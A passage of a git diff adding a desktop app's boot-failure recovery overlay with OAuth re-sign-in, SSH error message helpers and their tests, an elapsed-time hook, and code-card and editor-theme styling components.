+  const switchToLocalGateway = async () => {
+    setBusy('local')
+    // Soft apply: tears down the primary and re-dials in place (shell stays).
+    await window.clawcodexDesktop?.applyConnectionConfig({ mode: 'local' }).catch(() => undefined)
+    setBusy(null)
+  }
+
+  // Clear the OAuth partition first, then open the gateway's login window
+  // (username/password form or OAuth redirect — the desktop drives both). A
+  // partition-wide sign-out drops stale gateway AND identity-provider cookies so
+  // an expired session can't silently bounce us back into the same state. On a
+  // successful sign-in the cookie is re-established; reload so boot mints a fresh
+  // ticket against a live session.
+  const signInRemote = async () => {
+    if (!remoteReauth) {
+      return
+    }
+
+    setBusy('signin')
+
+    try {
+      await window.clawcodexDesktop?.oauthLogoutConnectionConfig?.()
+      const result = await window.clawcodexDesktop?.oauthLoginConnectionConfig(remoteReauth.url)
+
+      if (result?.connected) {
+        notify({ kind: 'success', title: t.boot.failure.signedInTitle, message: t.boot.failure.signedInMessage })
+        window.location.reload()
+
+        return
+      }
+
+      notify({
+        kind: 'warning',
+        title: t.boot.failure.signInIncompleteTitle,
+        message: t.boot.failure.signInIncompleteMessage
+      })
+    } catch (err) {
+      notifyError(err, t.boot.failure.signInFailed)
+    } finally {
+      setBusy(null)
+    }
+  }
+
+  const openLogs = () => void window.clawcodexDesktop?.revealLogs().catch(() => undefined)
+  const copy = t.boot.failure
+
+  const label = signInLabel(remoteReauth, {
+    identityProvider: copy.identityProvider,
+    remoteGateway: copy.signInToRemoteGateway,
+    withProvider: copy.signInWithProvider
+  })
+
+  // Recovery actions are shaped by the failure kind so the leading (primary)
+  // button is the one that actually fixes it: Sign in for a lapsed remote
+  // session, Connection settings for any other remote failure (local Retry /
+  // Repair can't revive a dead remote — Repair is dropped there), Retry for a
+  // local backend. Open logs is always appended.
+  type RecoveryVariant = ComponentProps<typeof Button>['variant']
+  interface RecoveryAction {
+    key: string
+    label: string
+    onClick: () => void
+    icon?: ReactNode
+    variant?: RecoveryVariant
+    busy?: Exclude<BusyAction, null>
+  }
+
+  const settingsAction: RecoveryAction = {
+    key: 'settings',
+    label: copy.gatewaySettings,
+    onClick: () => setView('connect'),
+    icon: <SlidersHorizontal />
+  }
+
+  const retryAction: RecoveryAction = {
+    key: 'retry',
+    label: copy.retry,
+    onClick: () => void retry(),
+    icon: <RefreshCw />,
+    busy: 'retry'
+  }
+
+  const localAction: RecoveryAction = {
+    key: 'local',
+    label: copy.useLocalGateway,
+    onClick: () => void switchToLocalGateway(),
+    variant: 'secondary',
+    busy: 'local'
+  }
+
+  let actions: RecoveryAction[]
+  let hint: string
+
+  if (remoteReauth) {
+    actions = [
+      {
+        key: 'signin',
+        label: copy.signOutAndSignIn,
+        onClick: () => void signInRemote(),
+        icon: <LogIn />,
+        busy: 'signin'
+      },
+      { ...settingsAction, variant: 'secondary' },
+      localAction
+    ]
+    hint = copy.remoteSignInHint(label)
+  } else if (remoteFailure) {
+    actions = [settingsAction, { ...retryAction, variant: 'secondary' }, localAction]
+    hint = copy.remoteFailureHint
+  } else {
+    // Local failure: Use-local is redundant with Retry (both re-target local), so
+    // it's dropped here; keep it for remote failures where it's the fall-back.
+    actions = [
+      retryAction,
+      {
+        key: 'repair',
+        label: copy.repairInstall,
+        onClick: () => void repair(),
+        icon: <Wrench />,
+        variant: 'secondary',
+        busy: 'repair'
+      },
+      { ...settingsAction, variant: 'ghost' }
+    ]
+    hint = copy.repairHint
+  }
+
+  if (view === 'connect') {
+    return (
+      <div className="fixed inset-0 z-(--z-setup) flex items-center justify-center bg-(--ui-chat-surface-background) p-6">
+        <div className="flex max-h-[86vh] w-full max-w-[46rem] flex-col overflow-hidden rounded-xl border border-(--stroke-nous) bg-(--ui-chat-bubble-background) shadow-nous">
+          {/* Subtle back affordance (projects/overlay idiom): muted → foreground
+              on hover, no divider. */}
+          <button
+            className="flex w-full items-center gap-1.5 px-4 pt-4 text-left text-xs text-muted-foreground transition-colors hover:text-foreground"
+            onClick={() => setView('recovery')}
+            type="button"
+          >
+            <ChevronLeft className="size-3.5" />
+            {copy.back}
+          </button>
+          <div className="min-h-0 flex-1 pt-4">
+            <Suspense fallback={<Loader className="mx-auto my-16 size-6 text-(--ui-text-tertiary)" />}>
+              <GatewaySettings embedded />
+            </Suspense>
+          </div>
+        </div>
+      </div>
+    )
+  }
+
+  return (
+    <div className="fixed inset-0 z-(--z-setup) flex items-center justify-center bg-(--ui-chat-surface-background) p-6">
+      <div className="w-full max-w-[40rem] overflow-hidden rounded-xl border border-(--stroke-nous) bg-(--ui-chat-bubble-background) shadow-nous">
+        <div className="flex items-start gap-3 px-5 py-4">
+          <ErrorIcon className="mt-0.5" size="1.25rem" />
+          <div>
+            <h2 className="text-[0.9375rem] font-semibold tracking-tight">
+              {remoteReauth ? copy.remoteTitle : copy.title}
+            </h2>
+            <p className="mt-1 text-[0.8125rem] leading-5 text-(--ui-text-tertiary)">
+              {remoteReauth ? copy.remoteDescription : copy.description}
+            </p>
+          </div>
+        </div>
+
+        <div className="grid gap-4 p-5 pt-0">
+          <div className="rounded-2xl border border-destructive/30 bg-destructive/10 px-4 py-3 text-xs text-destructive">
+            {sshFailureMessage(connectionConfig, boot.error, t.settings.gateway)}
+          </div>
+
+          <div className="grid gap-2">
+            <div className="flex flex-wrap gap-2">
+              {actions.map(action => (
+                <Button disabled={Boolean(busy)} key={action.key} onClick={action.onClick} variant={action.variant}>
+                  {action.busy && busy === action.busy ? <Loader2 className="animate-spin" /> : action.icon}
+                  {action.label}
+                </Button>
+              ))}
+              <Button onClick={openLogs} variant="ghost">
+                <FileText />
+                {copy.openLogs}
+              </Button>
+            </div>
+            <p className="text-xs text-muted-foreground">{hint}</p>
+          </div>
+
+          {logs.length > 0 ? (
+            <div className="grid gap-2">
+              <Button
+                className="-ml-2 self-start font-medium"
+                onClick={() => setShowLogs(v => !v)}
+                size="xs"
+                type="button"
+                variant="text"
+              >
+                {showLogs ? copy.hideRecentLogs : copy.showRecentLogs}
+              </Button>
+              {showLogs ? <LogView className="max-h-48">{logs.slice(-40).join('')}</LogView> : null}
+            </div>
+          ) : null}
+        </div>
+      </div>
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/boot-failure-reauth.test.ts b/ui-desktop/src/components/boot-failure-reauth.test.ts
new file mode 100644
index 000000000..6fc022711
--- /dev/null
+++ b/ui-desktop/src/components/boot-failure-reauth.test.ts
@@ -0,0 +1,177 @@
+import { describe, expect, it } from 'vitest'
+
+import type { DesktopConnectionConfig } from '@/global'
+
+import {
+  deriveProviderShape,
+  isRemoteConfig,
+  isRemoteReauthError,
+  isRemoteReauthFailure,
+  signInLabel,
+  sshFailureMessage
+} from './boot-failure-reauth'
+
+function config(overrides: Partial<DesktopConnectionConfig> = {}): DesktopConnectionConfig {
+  return {
+    envOverride: false,
+    mode: 'remote',
+    profile: null,
+    remoteAuthMode: 'oauth',
+    remoteOauthConnected: false,
+    remoteTokenPreview: null,
+    remoteTokenSet: false,
+    remoteUrl: 'https://box:9119',
+    cloudOrg: '',
+    sshHost: '',
+    sshUser: '',
+    sshPort: null,
+    sshKeyPath: '',
+    sshRemoteClawCodexPath: '',
+    sshRemoteProfile: '',
+    ...overrides
+  }
+}
+
+describe('isRemoteConfig', () => {
+  it('true for remote/cloud with a URL, regardless of auth mode or connection', () => {
+    expect(isRemoteConfig(config({ remoteAuthMode: 'token', remoteOauthConnected: false }))).toBe(true)
+    expect(isRemoteConfig(config({ mode: 'cloud', remoteOauthConnected: true }))).toBe(true)
+  })
+
+  it('recognizes SSH as remote recovery without treating it as OAuth reauth', () => {
+    const ssh = config({ mode: 'ssh' as never, remoteUrl: '', remoteAuthMode: 'token' }) as DesktopConnectionConfig & {
+      sshHost: string
+    }
+
+    ssh.sshHost = 'remote-box'
+
+    expect(isRemoteConfig(ssh)).toBe(true)
+    expect(isRemoteReauthFailure(ssh, 'SSH authentication failed.')).toBe(false)
+  })
+
+  it('false for local, incomplete SSH, a remote with no URL, and nullish', () => {
+    expect(isRemoteConfig(config({ mode: 'local' }))).toBe(false)
+    expect(isRemoteConfig(config({ mode: 'ssh' as never, remoteUrl: '' }))).toBe(false)
+    expect(isRemoteConfig(config({ remoteUrl: '' }))).toBe(false)
+    expect(isRemoteConfig(null)).toBe(false)
+  })
+})
+
+describe('isRemoteReauthFailure', () => {
+  it('true for a remote, gated, disconnected gateway with a URL', () => {
+    expect(isRemoteReauthFailure(config())).toBe(true)
+  })
+
+  it('false when connected and the boot error is not auth-shaped', () => {
+    expect(isRemoteReauthFailure(config({ remoteOauthConnected: true }), 'Python exploded')).toBe(false)
+  })
+
+  it('true when the indicator reads connected but the boot error is auth-shaped (expired session)', () => {
+    expect(
+      isRemoteReauthFailure(config({ remoteOauthConnected: true }), 'Your remote gateway session has expired.')
+    ).toBe(true)
+  })
+
+  it('false for a local gateway', () => {
+    expect(isRemoteReauthFailure(config({ mode: 'local' }))).toBe(false)
+  })
+
+  it('true for a cloud connection with a lapsed session (cloud resolves to remote oauth)', () => {
+    // A 'cloud' connection is a remote oauth backend under the hood (Q6), so a
+    // lapsed cloud session is the same reauth failure as a lapsed remote one.
+    expect(isRemoteReauthFailure(config({ mode: 'cloud' }))).toBe(true)
+  })
+
+  it('false for a connected cloud session', () => {
+    expect(isRemoteReauthFailure(config({ mode: 'cloud', remoteOauthConnected: true }))).toBe(false)
+  })
+
+  it('false for a token (non-gated) remote gateway', () => {
+    expect(isRemoteReauthFailure(config({ remoteAuthMode: 'token' }))).toBe(false)
+  })
+
+  it('false when there is no remote URL to sign in against', () => {
+    expect(isRemoteReauthFailure(config({ remoteUrl: '' }))).toBe(false)
+  })
+
+  it('false for null/undefined config', () => {
+    expect(isRemoteReauthFailure(null)).toBe(false)
+    expect(isRemoteReauthFailure(undefined)).toBe(false)
+  })
+})
+
+describe('isRemoteReauthError', () => {
+  it('recognizes auth-shaped boot errors', () => {
+    expect(isRemoteReauthError('Your remote gateway session has expired.')).toBe(true)
+    expect(isRemoteReauthError('OAuth: please sign in')).toBe(true)
+  })
+
+  it('ignores non-auth boot errors and nullish', () => {
+    expect(isRemoteReauthError('ClawCodex background process exited during startup.')).toBe(false)
+    expect(isRemoteReauthError(null)).toBe(false)
+  })
+})
+
+describe('sshFailureMessage', () => {
+  it('localizes SSH failures without changing non-SSH errors', () => {
+    const copy = { sshErrAuth: 'localized auth', sshErrUnknown: 'localized unknown' }
+    const ssh = config({ mode: 'ssh', sshHost: 'box', remoteUrl: '' })
+    expect(sshFailureMessage(ssh, 'SSH authentication failed', copy)).toBe('localized auth')
+    expect(sshFailureMessage(ssh, 'unexpected failure', copy)).toBe('localized unknown')
+    expect(sshFailureMessage(config(), 'raw remote error', copy)).toBe('raw remote error')
+  })
+})
+
+describe('deriveProviderShape', () => {
+  it('generic copy when there are no providers', () => {
+    expect(deriveProviderShape([])).toEqual({ isPassword: false, providerLabel: 'your identity provider' })
+    expect(deriveProviderShape(null)).toEqual({ isPassword: false, providerLabel: 'your identity provider' })
+  })
+
+  it('password shape when the sole provider supports password', () => {
+    expect(
+      deriveProviderShape([{ name: 'basic', displayName: 'Username & Password', supportsPassword: true }])
+    ).toEqual({ isPassword: true, providerLabel: 'Username & Password' })
+  })
+
+  it('OAuth shape when the provider is a redirect IDP', () => {
+    expect(deriveProviderShape([{ name: 'nous', displayName: 'ClawCodex contributors', supportsPassword: false }])).toEqual({
+      isPassword: false,
+      providerLabel: 'ClawCodex contributors'
+    })
+  })
+
+  it('mixed deployment keeps generic OAuth copy (not every provider is password)', () => {
+    const shape = deriveProviderShape([
+      { name: 'basic', displayName: 'Username & Password', supportsPassword: true },
+      { name: 'nous', displayName: 'ClawCodex contributors', supportsPassword: false }
+    ])
+
+    expect(shape.isPassword).toBe(false)
+    expect(shape.providerLabel).toBe('Username & Password / ClawCodex contributors')
+  })
+
+  it('falls back to name when displayName is empty', () => {
+    expect(deriveProviderShape([{ name: 'basic', displayName: '', supportsPassword: true }]).providerLabel).toBe(
+      'basic'
+    )
+  })
+})
+
+describe('signInLabel', () => {
+  it('password gateway gets the plain "Sign in to remote gateway" copy', () => {
+    expect(signInLabel({ url: 'x', isPassword: true, providerLabel: 'Username & Password' })).toBe(
+      'Sign in to remote gateway'
+    )
+  })
+
+  it('OAuth gateway names the provider', () => {
+    expect(signInLabel({ url: 'x', isPassword: false, providerLabel: 'ClawCodex contributors' })).toBe(
+      'Sign in with ClawCodex contributors'
+    )
+  })
+
+  it('null reauth falls back to the generic provider phrase', () => {
+    expect(signInLabel(null)).toBe('Sign in with your identity provider')
+  })
+})
diff --git a/ui-desktop/src/components/boot-failure-reauth.ts b/ui-desktop/src/components/boot-failure-reauth.ts
new file mode 100644
index 000000000..703f3f745
--- /dev/null
+++ b/ui-desktop/src/components/boot-failure-reauth.ts
@@ -0,0 +1,153 @@
+import type { DesktopAuthProvider, DesktopConnectionConfig } from '@/global'
+import { deriveRemoteAuthProviderShape } from '@/lib/desktop-remote-auth'
+
+// Pure helpers for the boot-failure overlay's remote-reauth branch. Kept out
+// of the .tsx so they can be unit-tested without a React/jsdom render (the
+// jsx-dev-runtime resolution in this repo's vitest setup is flaky for
+// component renders, but these are plain functions).
+
+export interface RemoteReauth {
+  url: string
+  // True when every advertised provider is username/password — drives the
+  // button copy ("Sign in to remote gateway" vs "Sign in with <provider>"),
+  // mirroring the gateway-settings page. Probe is best-effort.
+  isPassword: boolean
+  providerLabel: string
+}
+
+interface SignInCopy {
+  identityProvider: string
+  remoteGateway: string
+  withProvider: (provider: string) => string
+}
+
+const DEFAULT_SIGN_IN_COPY: SignInCopy = {
+  identityProvider: 'your identity provider',
+  remoteGateway: 'Sign in to remote gateway',
+  withProvider: provider => `Sign in with ${provider}`
+}
+
+// True when the app is pointed at a remote/cloud backend (either resolves to a
+// remote URL). Any boot failure in this shape is fixable from Settings →
+// Gateway (edit URL / token / sign in) — the local Retry/Repair buttons target
+// the bundled backend and can't help. Drives the escape-hatch emphasis.
+export function isRemoteConfig(config: DesktopConnectionConfig | null | undefined): boolean {
+  if (!config) {
+    return false
+  }
+
+  const ssh = config as DesktopConnectionConfig & { sshHost?: string }
+
+  return (
+    ((config.mode === 'remote' || config.mode === 'cloud') && Boolean(config.remoteUrl)) ||
+    ((config.mode as string) === 'ssh' && Boolean(ssh.sshHost))
+  )
+}
+
+// True when a boot error is auth-shaped — the refresh token was rejected or the
+// remote couldn't mint a websocket ticket. The Settings indicator can still read
+// "connected" (a stale RT cookie exists), so the error text is part of the
+// signal; without it a connected-but-expired session drops into the local-only
+// recovery buttons for a problem only reauth can fix.
+export function isRemoteReauthError(error: string | null | undefined): boolean {
+  const text = String(error || '').toLowerCase()
+
+  return (
+    text.includes('remote gateway session has expired') ||
+    text.includes('gateway sign-in required') ||
+    text.includes('needs oauth login') ||
+    (text.includes('oauth') && (text.includes('not signed in') || text.includes('sign in')))
+  )
+}
+
+// A remote, gated (oauth-bucket) gateway is a remote-reauth boot failure when the
+// session isn't connected OR the boot error is auth-shaped (connected-but-expired
+// — see isRemoteReauthError). Only re-establishing the remote session fixes it;
+// the local Retry/Repair buttons can't. 'cloud' counts as remote (it resolves to
+// a remote oauth backend), so a lapsed cloud session is the same failure.
+export function sshFailureMessage(
+  config: DesktopConnectionConfig | null | undefined,
+  error: string | null | undefined,
+  copy: {
+    sshErrAuth?: string
+    sshErrHostKey?: string
+    sshErrNotInstalled?: string
+    sshErrPlatform?: string
+    sshErrTimeout?: string
+    sshErrUpdateRequired?: string
+    sshErrUnreachable?: string
+    sshErrUnknown?: string
+  }
+): string {
+  const raw = String(error || '')
+
+  if (config?.mode !== 'ssh') {
+    return raw
+  }
+
+  const text = raw.toLowerCase()
+
+  if (text.includes('host key')) {
+    return copy.sshErrHostKey || raw
+  }
+
+  if (text.includes('auth')) {
+    return copy.sshErrAuth || raw
+  }
+
+  if (text.includes('not installed') || text.includes('not found')) {
+    return copy.sshErrNotInstalled || raw
+  }
+
+  if (text.includes('unsupported')) {
+    return copy.sshErrPlatform || raw
+  }
+
+  if (text.includes('timed out') || text.includes('timeout')) {
+    return copy.sshErrTimeout || raw
+  }
+
+  if (text.includes('update')) {
+    return copy.sshErrUpdateRequired || raw
+  }
+
+  if (text.includes('unreachable') || text.includes('could not reach')) {
+    return copy.sshErrUnreachable || raw
+  }
+
+  return copy.sshErrUnknown || raw
+}
+
+export function isRemoteReauthFailure(
+  config: DesktopConnectionConfig | null | undefined,
+  error?: string | null
+): boolean {
+  return (
+    isRemoteConfig(config) &&
+    config!.remoteAuthMode === 'oauth' &&
+    (!config!.remoteOauthConnected || isRemoteReauthError(error))
+  )
+}
+
+// Derive the password flag + display label from the probed providers. A
+// gateway is treated as password-style only when EVERY advertised provider
+// supports password (a mixed deployment keeps the generic OAuth copy), so the
+// button copy matches the login window the user is about to see.
+export function deriveProviderShape(providers: DesktopAuthProvider[] | null | undefined): {
+  isPassword: boolean
+  providerLabel: string
+} {
+  return deriveRemoteAuthProviderShape(providers)
+}
+
+// Button copy for the remote sign-in action.
+export function signInLabel(reauth: RemoteReauth | null, copy: SignInCopy = DEFAULT_SIGN_IN_COPY): string {
+  if (reauth?.isPassword) {
+    return copy.remoteGateway
+  }
+
+  const provider =
+    reauth?.providerLabel === DEFAULT_SIGN_IN_COPY.identityProvider ? copy.identityProvider : reauth?.providerLabel
+
+  return copy.withProvider(provider ?? copy.identityProvider)
+}
diff --git a/ui-desktop/src/components/brand-mark.tsx b/ui-desktop/src/components/brand-mark.tsx
new file mode 100644
index 000000000..a37726882
--- /dev/null
+++ b/ui-desktop/src/components/brand-mark.tsx
@@ -0,0 +1,19 @@
+import { cn } from '@/lib/utils'
+
+const assetPath = (path: string) => `${import.meta.env.BASE_URL}${path.replace(/^\/+/, '')}`
+
+// Brand badge: nous-girl mark on a white tile, identical in light/dark.
+// Fills the tile (softly rounded); size via className (default size-14).
+export function BrandMark({ className, ...props }: React.ComponentProps<'span'>) {
+  return (
+    <span
+      className={cn(
+        'inline-flex size-14 shrink-0 items-center justify-center overflow-hidden rounded-md bg-white',
+        className
+      )}
+      {...props}
+    >
+      <img alt="" className="size-full object-contain" src={assetPath('clawcodex-mark.png')} />
+    </span>
+  )
+}
diff --git a/ui-desktop/src/components/chat/activity-timer-text.tsx b/ui-desktop/src/components/chat/activity-timer-text.tsx
new file mode 100644
index 000000000..d9ca1c292
--- /dev/null
+++ b/ui-desktop/src/components/chat/activity-timer-text.tsx
@@ -0,0 +1,25 @@
+import { cn } from '@/lib/utils'
+
+import { formatElapsed } from './activity-timer'
+import { StableText } from './stable-text'
+
+interface ActivityTimerTextProps {
+  seconds: number
+  className?: string
+}
+
+export function ActivityTimerText({ seconds, className }: ActivityTimerTextProps) {
+  return (
+    <StableText
+      className={cn(
+        // Tinted with --dt-midground (very low alpha) so the timer reads
+        // as part of the same "live signal" cluster as the dither block /
+        // arc-border / working-session dot, instead of being neutral chrome.
+        'shrink-0 text-[0.56rem] leading-none tracking-[0.02em] text-midground/55',
+        className
+      )}
+    >
+      {formatElapsed(seconds)}
+    </StableText>
+  )
+}
diff --git a/ui-desktop/src/components/chat/activity-timer.test.tsx b/ui-desktop/src/components/chat/activity-timer.test.tsx
new file mode 100644
index 000000000..02be87985
--- /dev/null
+++ b/ui-desktop/src/components/chat/activity-timer.test.tsx
@@ -0,0 +1,156 @@
+import { act, render, screen } from '@testing-library/react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { __resetElapsedTimerRegistryForTests, useElapsedSeconds, useMeasuredDuration } from './activity-timer'
+
+function Probe({ active, since, timerKey }: { active: boolean; since?: number; timerKey?: string }) {
+  const elapsed = useElapsedSeconds(active, timerKey, since)
+
+  return <span data-testid="elapsed">{elapsed}</span>
+}
+
+function DurationProbe({ active, timerKey }: { active: boolean; timerKey: string }) {
+  const measured = useMeasuredDuration(active, timerKey)
+
+  return <span data-testid="measured">{measured === null ? 'unknown' : measured}</span>
+}
+
+describe('useElapsedSeconds', () => {
+  beforeEach(() => {
+    vi.useFakeTimers()
+    vi.setSystemTime(new Date('2026-01-01T00:00:00.000Z'))
+    __resetElapsedTimerRegistryForTests()
+  })
+
+  afterEach(() => {
+    vi.useRealTimers()
+    __resetElapsedTimerRegistryForTests()
+  })
+
+  it('keeps elapsed time stable across remounts for the same key', () => {
+    const first = render(<Probe active timerKey="tool:abc" />)
+
+    act(() => {
+      vi.advanceTimersByTime(5_000)
+    })
+
+    expect(screen.getByTestId('elapsed').textContent).toBe('5')
+
+    first.unmount()
+
+    act(() => {
+      vi.advanceTimersByTime(3_000)
+    })
+
+    render(<Probe active timerKey="tool:abc" />)
+
+    expect(screen.getByTestId('elapsed').textContent).toBe('8')
+  })
+
+  it('counts from an explicit epoch rather than mount time', () => {
+    const mountedAt = Date.now()
+
+    act(() => {
+      vi.advanceTimersByTime(30_000)
+    })
+
+    render(<Probe active since={mountedAt + 28_000} />)
+
+    expect(screen.getByTestId('elapsed').textContent).toBe('2')
+  })
+
+  it('re-anchors when the epoch moves', () => {
+    const { rerender } = render(<Probe active since={Date.now()} />)
+
+    act(() => {
+      vi.advanceTimersByTime(10_000)
+    })
+
+    expect(screen.getByTestId('elapsed').textContent).toBe('10')
+
+    rerender(<Probe active since={Date.now()} />)
+
+    expect(screen.getByTestId('elapsed').textContent).toBe('0')
+  })
+})
+
+describe('useMeasuredDuration', () => {
+  beforeEach(() => {
+    vi.useFakeTimers()
+    vi.setSystemTime(new Date('2026-01-01T00:00:00.000Z'))
+    __resetElapsedTimerRegistryForTests()
+  })
+
+  afterEach(() => {
+    vi.useRealTimers()
+    __resetElapsedTimerRegistryForTests()
+  })
+
+  it('has nothing to report until it has watched something finish', () => {
+    render(<DurationProbe active timerKey="reasoning:m1:0" />)
+
+    act(() => {
+      vi.advanceTimersByTime(4_000)
+    })
+
+    expect(screen.getByTestId('measured').textContent).toBe('unknown')
+  })
+
+  it('freezes the duration at the moment the thing finishes', () => {
+    const { rerender } = render(<DurationProbe active timerKey="reasoning:m1:0" />)
+
+    act(() => {
+      vi.advanceTimersByTime(4_000)
+    })
+
+    rerender(<DurationProbe active={false} timerKey="reasoning:m1:0" />)
+
+    expect(screen.getByTestId('measured').textContent).toBe('4')
+
+    // Time keeps passing; the block is over and its duration must not creep up
+    // with it.
+    act(() => {
+      vi.advanceTimersByTime(9_000)
+    })
+
+    expect(screen.getByTestId('measured').textContent).toBe('4')
+  })
+
+  // The thread virtualizes, so the component that watched a block finish is
+  // usually gone by the time anyone scrolls back to read it.
+  it('remembers the duration for a component that mounts after the fact', () => {
+    const first = render(<DurationProbe active timerKey="reasoning:m1:0" />)
+
+    act(() => {
+      vi.advanceTimersByTime(6_000)
+    })
+
+    first.rerender(<DurationProbe active={false} timerKey="reasoning:m1:0" />)
+    first.unmount()
+
+    render(<DurationProbe active={false} timerKey="reasoning:m1:0" />)
+
+    expect(screen.getByTestId('measured').textContent).toBe('6')
+  })
+
+  it('measures each key separately', () => {
+    const first = render(<DurationProbe active timerKey="reasoning:m1:0" />)
+
+    act(() => {
+      vi.advanceTimersByTime(3_000)
+    })
+
+    first.rerender(<DurationProbe active={false} timerKey="reasoning:m1:0" />)
+    first.unmount()
+
+    const second = render(<DurationProbe active timerKey="reasoning:m1:7" />)
+
+    act(() => {
+      vi.advanceTimersByTime(2_000)
+    })
+
+    second.rerender(<DurationProbe active={false} timerKey="reasoning:m1:7" />)
+
+    expect(screen.getByTestId('measured').textContent).toBe('2')
+  })
+})
diff --git a/ui-desktop/src/components/chat/activity-timer.ts b/ui-desktop/src/components/chat/activity-timer.ts
new file mode 100644
index 000000000..6eddba167
--- /dev/null
+++ b/ui-desktop/src/components/chat/activity-timer.ts
@@ -0,0 +1,115 @@
+import { useEffect, useRef, useState } from 'react'
+
+// Module-level registry so timers survive component unmount/remount (e.g.
+// when a tool row scrolls out and back). Keyed by caller-supplied timerKey;
+// anonymous timers (no key) start fresh each mount.
+const startedAtByKey = new Map<string, number>()
+
+// Durations of things that have already finished, kept beside the origins that
+// measured them. See `useMeasuredDuration`.
+const durationByKey = new Map<string, number>()
+
+function startedAt(key?: string): number {
+  if (!key) {
+    return Date.now()
+  }
+
+  const existing = startedAtByKey.get(key)
+
+  if (existing !== undefined) {
+    return existing
+  }
+
+  const now = Date.now()
+  startedAtByKey.set(key, now)
+
+  return now
+}
+
+export function formatElapsed(seconds: number): string {
+  if (seconds < 60) {
+    return `${seconds}s`
+  }
+
+  return `${Math.floor(seconds / 60)}:${String(seconds % 60).padStart(2, '0')}`
+}
+
+/**
+ * Seconds since the timer's origin, reported once a second while `active`.
+ *
+ * Origin, in order: an explicit `since` timestamp, else the `timerKey`'s
+ * registry entry (survives unmount/remount), else mount time. Pass `since` when
+ * the thing being measured started at a moment the caller knows and that moment
+ * isn't the mount — otherwise an anonymous timer reports the component's age,
+ * which is only the same number by accident.
+ */
+export function useElapsedSeconds(active = true, timerKey?: string, since?: number): number {
+  const start = useRef(since ?? startedAt(timerKey))
+  const lastKey = useRef(timerKey)
+  const [elapsed, setElapsed] = useState(() => Math.max(0, Math.floor((Date.now() - start.current) / 1000)))
+
+  if (lastKey.current !== timerKey) {
+    start.current = since ?? startedAt(timerKey)
+    lastKey.current = timerKey
+  }
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    if (!active) {
+      return
+    }
+
+    if (since !== undefined) {
+      start.current = since
+    } else if (timerKey) {
+      start.current = startedAt(timerKey)
+    }
+
+    const tick = () => setElapsed(Math.max(0, Math.floor((Date.now() - start.current) / 1000)))
+    tick()
+    const id = window.setInterval(tick, 1000)
+
+    return () => window.clearInterval(id)
+  }, [active, since, timerKey])
+
+  return elapsed
+}
+
+/**
+ * How long something took, measured by watching it finish and remembered
+ * afterwards. `null` until it has been watched at least once.
+ *
+ * Some durations exist nowhere but in the watching. A reasoning block is the
+ * case this was written for: the persisted turn records the text the model
+ * thought, never how long it spent thinking it, so the only way to know is to
+ * have been there. Watching alone isn't enough either — the thread virtualizes,
+ * so the component that saw a block finish is usually gone by the time anyone
+ * scrolls back to read it. Keeping the number in the same registry as the
+ * timer's origin lets it outlive the component that measured it.
+ *
+ * A block that was never watched running — history loaded from an earlier app
+ * session, or reasoning that arrived already complete — has no duration and
+ * says so, rather than reporting a timer that never ran.
+ */
+export function useMeasuredDuration(active: boolean, timerKey: string): null | number {
+  const elapsed = useElapsedSeconds(active, timerKey)
+  const [watching, setWatching] = useState(false)
+  const [measured, setMeasured] = useState<null | number>(() => durationByKey.get(timerKey) ?? null)
+
+  useEffect(() => {
+    if (active) {
+      setWatching(true)
+    } else if (watching) {
+      setWatching(false)
+      durationByKey.set(timerKey, elapsed)
+      setMeasured(elapsed)
+    }
+  }, [active, elapsed, timerKey, watching])
+
+  return measured
+}
+
+export function __resetElapsedTimerRegistryForTests() {
+  startedAtByKey.clear()
+  durationByKey.clear()
+}
diff --git a/ui-desktop/src/components/chat/code-card.tsx b/ui-desktop/src/components/chat/code-card.tsx
new file mode 100644
index 000000000..a83fc6cfb
--- /dev/null
+++ b/ui-desktop/src/components/chat/code-card.tsx
@@ -0,0 +1,48 @@
+import * as React from 'react'
+
+import { Codicon, type CodiconProps } from '@/components/ui/codicon'
+import { cn } from '@/lib/utils'
+
+/**
+ * Rounded surface for fenced code (and any equivalent: diffs, raw payloads,
+ * etc.) sized for the conversation column. Background only — no border, no
+ * header, no language label — so a code block reads as a tinted slab of the
+ * reply rather than an attached artifact.
+ */
+function CodeCard({ className, ...props }: React.ComponentProps<'div'>) {
+  return (
+    <div
+      className={cn(
+        'group/code relative min-w-0 max-w-full overflow-hidden rounded-[0.625rem] bg-(--ui-bg-editor) [--expandable-fade-from:var(--ui-bg-editor)] text-[length:var(--conversation-tool-font-size)] text-muted-foreground',
+        className
+      )}
+      data-slot="code-card"
+      {...props}
+    />
+  )
+}
+
+function CodeCardIcon({ className, ...props }: CodiconProps) {
+  return (
+    <Codicon
+      className={cn('shrink-0 text-[0.875rem] leading-none text-muted-foreground', className)}
+      data-slot="code-card-icon"
+      {...props}
+    />
+  )
+}
+
+function CodeCardBody({ className, ...props }: React.ComponentProps<'div'>) {
+  return (
+    <div
+      className={cn(
+        'font-mono text-[0.7rem] leading-relaxed text-foreground/90 [&_pre]:m-0 [&_pre]:overflow-x-auto [&_pre]:scrollbar-overlay [&_pre]:bg-transparent! [&_pre]:px-2 [&_pre]:py-1.5 [&_pre]:font-mono [&_pre]:leading-relaxed',
+        className
+      )}
+      data-slot="code-card-body"
+      {...props}
+    />
+  )
+}
+
+export { CodeCard, CodeCardBody, CodeCardIcon }
diff --git a/ui-desktop/src/components/chat/code-editor-theme.ts b/ui-desktop/src/components/chat/code-editor-theme.ts
new file mode 100644
index 000000000..5cfbd170b
--- /dev/null
+++ b/ui-desktop/src/components/chat/code-editor-theme.ts
@@ -0,0 +1,104 @@
+import { HighlightStyle, syntaxHighlighting } from '@codemirror/language'
+import type { Extension } from '@codemirror/state'
+import { EditorView } from '@codemirror/view'
+import { tags as t } from '@lezer/highlight'
+
+// GitHub "default" palettes, mirroring the read view's Shiki themes
+// (`github-light-default` / `github-dark-default`) so the spot editor matches
+// the preview it replaces. These are token *colors*; CodeMirror tokenizes with
+// Lezer rather than Shiki's TextMate grammars, so it's a palette match rather
+// than a byte-identical one — close enough that switching in/out of edit mode
+// doesn't recolor the file.
+interface GithubPalette {
+  comment: string
+  constant: string
+  entity: string
+  fg: string
+  keyword: string
+  number: string
+  string: string
+  tag: string
+  type: string
+}
+
+const DARK: GithubPalette = {
+  comment: '#8b949e',
+  constant: '#79c0ff',
+  entity: '#d2a8ff',
+  fg: '#e6edf3',
+  keyword: '#ff7b72',
+  number: '#79c0ff',
